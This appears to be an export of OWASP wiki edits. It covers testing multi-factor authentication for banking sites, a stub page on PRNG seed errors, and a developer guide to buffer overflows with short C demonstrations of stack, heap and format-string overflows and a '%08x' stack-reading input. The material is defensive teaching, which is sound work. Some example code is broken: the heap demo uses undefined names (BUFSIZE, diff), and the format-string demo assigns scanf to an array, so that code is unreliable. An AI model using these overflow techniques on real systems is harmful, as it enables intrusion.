The most common authentication solution for Web applications is User ID and password authentication. In this case,  an additional password for authorizing wire transfers is often required.&lt;br /&gt;
MFAS solutions add “something you have” to the authentication process. This component is usually a:&lt;br /&gt;
&lt;br /&gt;
* One-time password (OTP) generator token.&lt;br /&gt;
* Grid Card, Scratch Card or any information that only the legitimate user is supposed to have in his wallet &lt;br /&gt;
* Crypto devices like USB tokens or smart cards, equipped with X.509 certificates.&lt;br /&gt;
* Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP] [6]&lt;br /&gt;
&lt;br /&gt;
The following examples are about the testing and evaluation of different implementations of MFAS similar to the ones above. Penetration Testers should consider all possible weaknesses of the current solution to propose the correct mitigating factors if the infrastructure is already in place. A correct evaluation may also permit one to choose the right MFAS for the infrastructure during a preliminary solution selection.&lt;br /&gt;
&lt;br /&gt;
A mitigating factor is any additional component or countermeasure that might result in reduced likelihood of exploitation of a particular vulnerability. Credit cards are a perfect example. Notice how little attention is paid to cardholder authentication. Clerks barely check signatures. People use their cards over the phone and on the Internet, where the card's existence isn't even verified . The credit card companies spend their security dollar “controlling” the transaction, not the cardholder [6].  The transactions could be effectively controlled by behavioral algorithms that automatically fill up a risk score chart while the user uses his own credit card. Anything that is marked as suspected could be temporarily blocked by the circuit.&lt;br /&gt;
&lt;br /&gt;
Another mitigating factor is also informing the customer about what is happening through a separate and secure channel. The Credit Card industry uses this method for informing the user about credit card transactions via SMS messages. If a fraudulent action is taken, the user knows immediately that something has gone wrong with his credit card. Real time information through separate channels can also have a higher accuracy by informing the user about transactions, before those transactions are successful.&lt;br /&gt;
&lt;br /&gt;
Common '''&amp;quot;User ID, password, and Disposal password&amp;quot;''' usually protect from (3), partially from (2). They usually do not protect from (1), (4) and (5). From a Penetration tester's point of view, for correctly testing this kind of authentication system, we should concentrate on what the solution should protect from.&lt;br /&gt;
&lt;br /&gt;
In other words, the adopters of a “User ID, Password, and Disposal password” authentication solution should be protected from (2) and from (3). A penetration tester should check if the current implementation effectively enforces the adoption of strong passwords and if it is resilient to Session Based attacks (e.g. Cross Site Request Forgeries attacks in order to force the user to submitting unwanted disposal operations).&lt;br /&gt;
&lt;br /&gt;
*Vulnerability Chart for “UserID + Password + Disposal Password” based authentication:&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses:''  1, 4, 5&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses (Details):''  This technology doesn’t protect from (1)  because the password is static and can be stolen through blended threat attacks [8] (e.g.  MITM attack against a SSLv2 connection). It doesn’t protect from (4) and (5) because it’s possible to submit multiple transactions with the same disposal password.&amp;lt;br&amp;gt;&lt;br /&gt;
**''Strengths (if well implemented):'' 2, 3&lt;br /&gt;
**''Strengths (Details):''  This technology protects from (2) only if password enforcement rules are in place. It protects from (3) because the need for a disposal password does not permit an attacker to abuse the current user session to submit disposal operations. [9]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now let’s analyze some different implementations of MFASs:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''&amp;quot;One Time Password Tokens&amp;quot;''' protect from (1), (2) and (3) if well implemented. Do not always protect from (5). Almost never protect from (4).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
*Vulnerability Chart for &amp;quot;One Time Password Tokens&amp;quot; based authentication:&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses:''   4, sometimes 5&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses (Details):''  OTP tokens do not protect from (4), because Banking Malware is able to modify the Web Traffic in real-time upon pre-configured rules; examples of this kind include malicious codes SilentBanker, Mebroot, and Trojan Anserin . Banking Malware works like a web proxy interacting  with HTTPS pages. Since Malware takes total control over a compromised client, any action that a user performs is registered and controlled: Malware may stop a legitimate transaction and redirect  the wire transfer to a different location. Password Reuse (5) is a vulnerability that may affect OTP tokens. Tokens are valid for a certain amount of time e.g. 30 seconds; if the authentication does not discard tokens that have been already used, it could be possible that a single token may authenticate multiple transactions during its 30 second lifetime.&amp;lt;br&amp;gt;&lt;br /&gt;
**''Strengths (if well implemented):'' 1,2,3&amp;lt;br&amp;gt;&lt;br /&gt;
**''Strengths (Details):''  OTP tokens mitigate effectively (1), because token lifetime is usually very short. In 30 seconds the attacker should be able to steal the token, enter the banking website and perform a transaction. It could be feasible, but it’s not usually going to happen in large-scale attacks. They usually protect from (2) because OTP HMAC are at least 6 digits long. Penetration Testers should check that the algorithm implemented by the OTP tokens under the test is safe enough and not predictable.  Finally, they usually protect from (3) because the disposal token is always required. Penetration testers should verify that the procedure of requesting the validation token could not be bypassed.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''&amp;quot;Grid Cards, Scratch Cards and any information that only the legitimate user is supposed to have in his Wallet&amp;quot;'''&lt;br /&gt;
should protect from (1), (2), (3). Like OTP tokens, they  cannot protect from (4). During testing activities grid cards in particular have been found vulnerable to (5). Scratch card are not vulnerable to password reuse, because any code can be used just one time.&amp;lt;br&amp;gt;&lt;br /&gt;
The penetration tester, during the assessment of technologies of this kind, should pay particular attention to Password Reuse attacks (5) for grid cards. A grid card based system commonly would request the same code multiple times. An attacker would just need to know a single valid disposal code (e.g one of those inside the grid card), and to wait until the system requests the code that he knows. Tested grid cards that contain a limited number of combinations are usually prone to this vulnerability. (e.g., if a grid card contains 50 combinations the attacker just needs to ask for a disposal, filling up the fields, checking the challenge, and so on. This attack is not about bruteforcing the disposal code, it’s about bruteforcing the challenge).  Other common mistakes include a weak password policy. Any disposal password contained  inside the gridcard should have a length of at least 6 numbers.  Attacks could be very effective in combination with blended threats or Cross Site Request forgeries.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''&amp;quot;Crypto Devices with certificates (Token USB, Smart Cards)&amp;quot;''' offer a good layer of defense from (1), (2). It’s a common mistake to believe that they would always protect from (3), (4) and (5).&lt;br /&gt;
Unfortunately technologies offer the best security promises and at the same time some of the worst implementations around.  USB tokens vary from vendor to vendor. Some of them authorize a user when they are plugged in, and do not authorize operations when they are unplugged. It seems to be a good behavior, but what it looks like is that some of them add further layers of implicit authentication. Those devices do not protect users from (3) (e.g. Session Riding and Cross Site Scripting code for automating transfers).&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Custom “Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP]”''' could protect effectively from  (1), (2), (3) and (5). Could also mitigate effectively (4) if well implemented. This solution, compared to the previous one, is the only one that uses an independent channel to communicate with the banking infrastructure.&lt;br /&gt;
This solution is usually very effective if well implemented. By separating the communication channels, it’s possible to inform the user about what is going on.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Ex. of a disposal token sent via SMS:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;quot;This token: 32982747 authorizes a wire transfer of $ 1250.4 to bank account 2345623 Bank of NY&amp;quot;.&lt;br /&gt;
The previous token authorizes a unique transaction, that is reported inside the text of the SMS message. In this way, the user can control that the intended transfer is effectively going to be directed to the right bank account.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The approach described in this section is intended to provide a simple methodology to evaluate Multiple Factor Authentication Systems. The examples shown are taken from real-case scenarios and can be used as a starting point for analyzing the efficacy of a custom MFAS.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
[1] [Definition] Wikipedia, Definition of Two Factor Authentication&amp;lt;br&amp;gt;&lt;br /&gt;
http://en.wikipedia.org/wiki/Two-factor_authentication&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[2] [SCHNEIER] Bruce Schneier, Blog Posts about two factor authentication 2005,&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2005/03/the_failure_of.html&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2005/04/more_on_twofact.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[3] [Finetti] Guido Mario Finetti, &amp;quot;Web application security in un-trusted client scenarios&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.scmagazineuk.com/Web-application-security-in-un-trusted-client-scenarios/article/110448&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[4] [SilentBanker Trojan] Symantec, Banking in Silence&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.symantec.com/connect/blogs/banking-silence&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[5] [Nordea] Finextra, Phishing attacks against two factor authentication, 2005&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.finextra.com/fullstory.asp?id=14384&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[6] [SMSOTP] Bruce Schneier, “Two-Factor Authentication with Cell Phones”, November 2004,&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2004/11/twofactor_authe.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[7] [Transaction Authentication Mindset] Bruce Schneier, &amp;quot;Fighting Fraudulent Transactions&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[8] [Blended Threat] http://en.wikipedia.org/wiki/Blended_threat&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[9] [GUNTEROLLMANN] Gunter Ollmann, “Web Based Session Management. Best practices in managing HTTP-based client sessions”,&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.technicalinfo.net/papers/WebBasedSessionManagement.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PRNG_Seed_Error&amp;diff=151397</id>
		<title>PRNG Seed Error</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PRNG_Seed_Error&amp;diff=151397"/>
				<updated>2013-05-12T16:33:52Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Description&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Stub}}&lt;br /&gt;
{{Template:Vulnerability}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The incorrect use of a seed by a Psuedo Random Number Generator [http://cwe.mitre.org/data/definitions/335.html]. A seed error is usually brought on through the erroneous generation or application of a seed state.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
The application of a seed state that is known to an attacker can lead to a permanent compromise attack [http://www.schneier.com/paper-prngs.html].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Buffer_Overflows&amp;diff=151392</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Buffer_Overflows&amp;diff=151392"/>
				<updated>2013-05-12T13:27:47Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: fixed links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__'''&lt;br /&gt;
&lt;br /&gt;
==Objective ==&lt;br /&gt;
&lt;br /&gt;
To ensure that:&lt;br /&gt;
&lt;br /&gt;
* Applications do not expose themselves to faulty components.&lt;br /&gt;
&lt;br /&gt;
* Applications create as few buffer overflows as possible.&lt;br /&gt;
&lt;br /&gt;
* Developers are encouraged to use languages and frameworks that are relatively immune to buffer overflows.&lt;br /&gt;
&lt;br /&gt;
==Platforms Affected ==&lt;br /&gt;
&lt;br /&gt;
Almost every platform, with the following notable exceptions:&lt;br /&gt;
&lt;br /&gt;
* Java/J2EE – as long as native methods or system calls are not invoked.&lt;br /&gt;
&lt;br /&gt;
* .NET – as long as unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop).&lt;br /&gt;
&lt;br /&gt;
* PHP, Python, Perl – as long as external programs or vulnerable extensions are not used.&lt;br /&gt;
&lt;br /&gt;
==Relevant COBIT Topics ==&lt;br /&gt;
&lt;br /&gt;
DS11.9 – Data processing integrity.&lt;br /&gt;
&lt;br /&gt;
==Description ==&lt;br /&gt;
&lt;br /&gt;
Attackers generally use [[Buffer Overflow|buffer overflows]] to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components. &lt;br /&gt;
&lt;br /&gt;
Buffer overflow flaws can be present in both the web server and application server products that serve the static and dynamic portions of a site, or in the web application itself. Buffer overflows found in commonly-used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images or a communications library to send e-mail, they open themselves to potential buffer overflow attacks. Literature detailing buffer overflow attacks against commonly-used products is readily available, and newly discovered vulnerabilities are reported almost daily. &lt;br /&gt;
&lt;br /&gt;
Buffer overflows can also be found in custom web application code, and may even be more likely, given the lack of scrutiny that web applications typically go through. Buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. It is possible to cause a denial of service attack against the web site, depending on the severity and specific nature of the flaw. Overly large inputs could cause the application to display a detailed error message, potentially leading to a successful attack on the system.&lt;br /&gt;
&lt;br /&gt;
Buffer overflow attacks generally rely upon two techniques (and usually the combination):&lt;br /&gt;
&lt;br /&gt;
* Writing data to particular memory addresses&lt;br /&gt;
&lt;br /&gt;
* Having the operating system mishandle data types&lt;br /&gt;
&lt;br /&gt;
* This means that strongly-typed programming languages (and environments) that disallow direct memory access usually prevent buffer overflows from happening.&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
|-&lt;br /&gt;
 ! Language/Environment !! Compiled or Interpreted !! Strongly Typed !! Direct Memory Access !! Safe or Unsafe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || Java, Java Virtual Machine (JVM) || Both || Yes || No || Safe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || .NET || Both || Yes || No || Safe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || Perl  || Both || Yes || No || Safe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || Python - interpreted || Intepreted || Yes || No || Safe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || Ruby || Interpreted || Yes || No || Safe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || C/C++ || Compiled || No || Yes || Unsafe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || Assembly || Compiled || No || Yes || Unsafe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
 || COBOL || Compiled || Yes || No || Safe&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
Table 8.1: Language descriptions&lt;br /&gt;
&lt;br /&gt;
==General Prevention Techniques ==&lt;br /&gt;
&lt;br /&gt;
A number of general techniques to prevent buffer overflows include:&lt;br /&gt;
&lt;br /&gt;
* Code auditing (automated or manual)&lt;br /&gt;
&lt;br /&gt;
* Developer training – bounds checking, use of unsafe functions, and group standards&lt;br /&gt;
&lt;br /&gt;
* Non-executable stacks – many operating systems have at least some support for this&lt;br /&gt;
&lt;br /&gt;
* Compiler tools – StackShield, StackGuard, and Libsafe, among others&lt;br /&gt;
&lt;br /&gt;
* Safe functions – use strncat instead of strcat, strncpy instead of strcpy, etc&lt;br /&gt;
&lt;br /&gt;
* Patches – Be sure to keep your web and application servers fully patched, and be aware of bug reports relating to applications upon which your code is dependent.&lt;br /&gt;
&lt;br /&gt;
* Periodically scan your application with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications. &lt;br /&gt;
&lt;br /&gt;
==Stack Overflow ==&lt;br /&gt;
&lt;br /&gt;
Stack overflows are the best understood and the most common form of buffer overflows. The basics of a stack overflow is simple:&lt;br /&gt;
&lt;br /&gt;
* There are two buffers, a source buffer containing arbitrary input (presumably from the attacker), and a destination buffer that is too small for the attack input. The second buffer resides on the stack and somewhat adjacent to the function return address on the stack.&lt;br /&gt;
&lt;br /&gt;
* The faulty code does ''not'' check that the source buffer is too large to fit in the destination buffer. It copies the attack input to the destination buffer, overwriting additional information on the stack (such as the function return address).&lt;br /&gt;
&lt;br /&gt;
* When the function returns, the CPU unwinds the stack frame and pops the (now modified) return address from the stack.&lt;br /&gt;
&lt;br /&gt;
* Control does not return to the function as it should. Instead, arbitrary code (chosen by the attacker when crafting the initial input) is executed. &lt;br /&gt;
&lt;br /&gt;
The following example, written in C, demonstrates a stack overflow exploit.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void f(char* s) {&lt;br /&gt;
    char buffer[10];&lt;br /&gt;
    strcpy(buffer, s);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void main(void) {&lt;br /&gt;
    f(&amp;quot;01234567890123456789&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
[root /tmp]# ./stacktest&lt;br /&gt;
&lt;br /&gt;
Segmentation fault&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
If your program:&lt;br /&gt;
&lt;br /&gt;
* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND&lt;br /&gt;
&lt;br /&gt;
* copies data from one buffer on the stack to another without checking sizes first AND&lt;br /&gt;
&lt;br /&gt;
* does not use techniques such as canary values or non-executable stacks to prevent buffer overflows THEN&lt;br /&gt;
&lt;br /&gt;
it is likely that the application is vulnerable to attack.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
# Deploy on systems capable of using non-executable stacks, such as:&lt;br /&gt;
## AMD and Intel x86-64 chips with associated 64-bit operating systems&lt;br /&gt;
## Windows XP SP2 (both 32- and 64-bit)&lt;br /&gt;
## Windows 2003 SP1 (both 32- and 64-bit)&lt;br /&gt;
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode&lt;br /&gt;
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)&lt;br /&gt;
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled&lt;br /&gt;
# Use higher-level programming languages that are strongly typed and that disallow direct memory access. &lt;br /&gt;
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing &amp;quot;junk&amp;quot; characters, etc. &lt;br /&gt;
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:&lt;br /&gt;
## use the principle of least privilege&lt;br /&gt;
## use compilers that protect against stack and heap overflows&lt;br /&gt;
## are current in terms of patches&lt;br /&gt;
&lt;br /&gt;
==Heap Overflow ==&lt;br /&gt;
&lt;br /&gt;
Heap overflows are problematic in that they are not necessarily protected by CPUs capable of using non-executable stacks. A heap is an area of memory allocated by the application at run-time to store data. The following example, written in C, shows a heap overflow exploit.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 #define BSIZE 16&lt;br /&gt;
 #define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */&lt;br /&gt;
&lt;br /&gt;
 void main(void) {&lt;br /&gt;
    u_long b_diff;&lt;br /&gt;
    char *buf0 = (char*)malloc(BSIZE);		// create two buffers&lt;br /&gt;
    char *buf1 = (char*)malloc(BSIZE);&lt;br /&gt;
&lt;br /&gt;
    b_diff = (u_long)buf1 - (u_long)buf0;	// difference between locations&lt;br /&gt;
    printf(&amp;quot;Initial values:  &amp;quot;);&lt;br /&gt;
    printf(&amp;quot;buf0=%p, buf1=%p, b_diff=0x%x bytes\n&amp;quot;, buf0, buf1, b_diff);&lt;br /&gt;
&lt;br /&gt;
    memset(buf1, 'A', BUFSIZE-1), buf1[BUFSIZE-1] = '\0';&lt;br /&gt;
    printf(&amp;quot;Before overflow: buf1=%s\n&amp;quot;, buf1);&lt;br /&gt;
&lt;br /&gt;
    memset(buf0, 'B', (u_int)(diff + OVERSIZE));&lt;br /&gt;
    printf(&amp;quot;After overflow:  buf1=%s\n&amp;quot;, buf1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
[root /tmp]# ./heaptest&lt;br /&gt;
&lt;br /&gt;
Initial values:  buf0=0x9322008, buf1=0x9322020, diff=0xff0 bytes&lt;br /&gt;
Before overflow: buf1=AAAAAAAAAAAAAAA&lt;br /&gt;
After overflow:  buf1=BBBBBBBBAAAAAAA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The simple program above shows two buffers being allocated on the heap, with the first buffer being overflowed to overwrite the contents of the second buffer. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
If your program:&lt;br /&gt;
&lt;br /&gt;
* is written in a language (or depends upon a program that is written in a language)  that allows buffer overflows to be created (see Table 8.1) AND&lt;br /&gt;
&lt;br /&gt;
* copies data from one buffer on the stack to another without checking sizes first AND&lt;br /&gt;
&lt;br /&gt;
* does not use techniques such as canary values to prevent buffer overflows THEN&lt;br /&gt;
&lt;br /&gt;
it is likely that the application is vulnerable to attack.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
# Use higher-level programming languages that are strongly typed and that disallow direct memory access. &lt;br /&gt;
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing &amp;quot;junk&amp;quot; characters, etc. &lt;br /&gt;
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:&lt;br /&gt;
## use the principle of least privilege&lt;br /&gt;
## use compilers that protect against stack and heap overflows&lt;br /&gt;
## are current in terms of patches&lt;br /&gt;
&lt;br /&gt;
==Format String ==&lt;br /&gt;
&lt;br /&gt;
Format string buffer overflows (usually called &amp;quot;format string vulnerabilities&amp;quot;) are highly specialized buffer overflows that can have the same effects as other buffer overflow attacks. Basically, format string vulnerabilities take advantage of the mixture of data and control information in certain functions, such as C/C++'s printf. The easiest way to understand this class of vulnerability is with an example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void main(void) {&lt;br /&gt;
    char str[100] = scanf(&amp;quot;%s&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;%s&amp;quot;, str);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simple program takes input from the user and displays it back on the screen. The string &amp;lt;code&amp;gt;%s&amp;lt;/code&amp;gt; means that the other parameter, str, should be displayed as a string. This example is ''not'' vulnerable to a format string attack, but if one changes the last line, it becomes exploitable:&lt;br /&gt;
&lt;br /&gt;
    printf(str);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To see how, consider the user entering the special input:&lt;br /&gt;
&lt;br /&gt;
''%08x.%08x.%08x.%08x.%08x''&lt;br /&gt;
&lt;br /&gt;
By constructing input as such, the program can be exploited to print the first five entries from the stack.  &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
If your program:&lt;br /&gt;
&lt;br /&gt;
* uses functions such as printf, snprintf directly, or indirectly through system services (such as syslog) or other AND&lt;br /&gt;
&lt;br /&gt;
* the use of such functions allows input from the user to contain control information interpreted by the function itself&lt;br /&gt;
&lt;br /&gt;
it is highly likely that the application is vulnerable to attack.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
# Use higher-level programming languages that are strongly typed and that disallow direct memory access. &lt;br /&gt;
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing &amp;quot;junk&amp;quot; characters, etc. Specifically check for control information (meta-characters like '%')&lt;br /&gt;
# Avoid the use of functions like printf that allow user input to contain control information&lt;br /&gt;
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:&lt;br /&gt;
## use the principle of least privilege&lt;br /&gt;
## use compilers that protect against stack and heap overflows&lt;br /&gt;
## are current in terms of patches&lt;br /&gt;
&lt;br /&gt;
==Unicode Overflow ==&lt;br /&gt;
&lt;br /&gt;
Unicode exploits are a bit more difficult to do than typical buffer overflows as demonstrated in Anley’s 2002 paper, but it is wrong to assume that by using Unicode, you are protected against buffer overflows. Examples of Unicode overflows include Code Red, a devastating Trojan with an estimated economic cost in the billions of dollars. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
If your program:&lt;br /&gt;
&lt;br /&gt;
* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND&lt;br /&gt;
&lt;br /&gt;
* takes Unicode input from a user AND&lt;br /&gt;
&lt;br /&gt;
* fails to sanitize the input AND&lt;br /&gt;
&lt;br /&gt;
* does not use techniques such as canary values to prevent buffer overflows THEN&lt;br /&gt;
&lt;br /&gt;
it is highly likely that the application is vulnerable to attack.&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself  ===&lt;br /&gt;
&lt;br /&gt;
# Deploy on systems capable of using non-executable stacks, such as:&lt;br /&gt;
## AMD and Intel x86-64 chips with associated 64-bit operating systems&lt;br /&gt;
## Windows XP SP2 (both 32- and 64-bit)&lt;br /&gt;
## Windows 2003 SP1 (both 32- and 64-bit)&lt;br /&gt;
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode&lt;br /&gt;
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)&lt;br /&gt;
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled&lt;br /&gt;
# Use higher-level programming languages that are strongly typed and that disallow direct memory access. &lt;br /&gt;
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing &amp;quot;junk&amp;quot; characters, etc. &lt;br /&gt;
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:&lt;br /&gt;
## use the principle of least privilege&lt;br /&gt;
## use compilers that protect against stack and heap overflows&lt;br /&gt;
## are current in terms of patches&lt;br /&gt;
&lt;br /&gt;
==Integer Overflow ==&lt;br /&gt;
&lt;br /&gt;
When an application takes two numbers of fixed word size and perform an operation with them, the result may not fit within the same word size. For example, if the two 8-bit numbers 192 and 208 are added together and stored into another 8-bit byte, the result will not fit into an 8-bit result:&lt;br /&gt;
&lt;br /&gt;
''         1100 0000''&lt;br /&gt;
&lt;br /&gt;
''  +      1101 0000''&lt;br /&gt;
&lt;br /&gt;
''  = 0001 1001 0000''&lt;br /&gt;
